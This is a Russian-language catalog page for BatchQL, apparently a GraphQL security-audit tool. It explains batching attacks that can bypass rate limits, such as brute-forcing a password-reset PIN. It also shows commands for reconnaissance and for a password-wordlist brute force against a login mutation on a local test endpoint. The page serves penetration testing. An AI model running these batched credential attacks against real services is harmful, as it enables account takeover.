Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
batchql — Сценарий аудита безопасности GraphQL с фокусом на выполнение пакетных GraphQL-запросов и мутаций. | Kitploit
Инструменты/GitHubGitHub/assetnote/batchql
Сканеры уязвимостейТестирование безопасности APIВеб-безопасностьТестирование на Проникновение
GitHubassetnote/batchql

batchql

Сценарий аудита безопасности GraphQL с фокусом на выполнение пакетных GraphQL-запросов и мутаций.

Репозиторий
413424 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

BatchQL

BatchQL — это скрипт для аудита безопасности GraphQL, ориентированный на выполнение пакетных запросов и мутаций GraphQL. Скрипт не сложен, и мы приветствуем улучшения.

При исследовании области атак с помощью пакетной обработки GraphQL мы обнаружили, что в интернете есть несколько публикаций в блогах, однако нет инструмента для выполнения таких атак.

Атаки с пакетной обработкой GraphQL могут быть весьма серьёзными в зависимости от реализованных функций. Например, представьте функциональность сброса пароля, которая ожидает 4-значный PIN-код, отправленный на вашу электронную почту. С помощью этого инструмента можно попытаться перебрать все 10 000 вариантов PIN-кода в одном запросе GraphQL. Это может обойти любые ограничения скорости или блокировки учётной записи в зависимости от деталей реализации процесса сброса пароля.

Обнаружения

Этот инструмент способен обнаруживать следующее:

  • Поддержка запросов интроспекции
  • Обнаружение предложений схемы
  • Обнаружение потенциального CSRF
  • Пакетная обработка на основе имени запроса
  • Пакетная обработка на основе списка JSON-запросов

Атаки

В настоящее время этот инструмент поддерживает только отправку запросов на основе списка JSON для атак пакетной обработки. Он поддерживает сценарии, где переменные встроены в запрос или передаются в JSON-вводе.

Использование

Разведка

root@kitploit:~
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Пакетные атаки

  1. Сохраните файл, содержащий ваш GraphQL-запрос, например acc-login.txt:
root@kitploit:~
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
  emailLoginRemembered(loginInput: $loginInput) {
    authToken {
      accessToken
      __typename
    }
    userSessionResponse {
      userToken
      userIdentity {
        userId
        identityType
        verified
        onboardingStatus
        registrationReferralCode
        userReferralInfo {
          referralCode {
            code
            valid
            __typename
          }
          __typename
        }
        __typename
      }
      __typename
    }
    __typename
  }
  }
  1. Выполните следующую команду для запуска пакетной атаки GraphQL:
root@kitploit:~
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

Приведенная выше команда делает следующее:

  • Указывает запрос из локального файла --query acc-login.txt.
  • Указывает словарь --wordlist passwords.txt
  • Указывает ввод переменных с идентификатором замены -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • Указывает размер пакета --size 100
  • Указывает конечную точку -e http://re.local:5000/graphiql
  • Указывает прокси -p localhost:8080

Ссылки

  • Эксплуатация GraphQL
  • Damn Vulnerable GraphQL Application
  • Атака пакетной обработки GraphQL - Wallarm
  • Смягчение пакетных атак
Скачать инструмент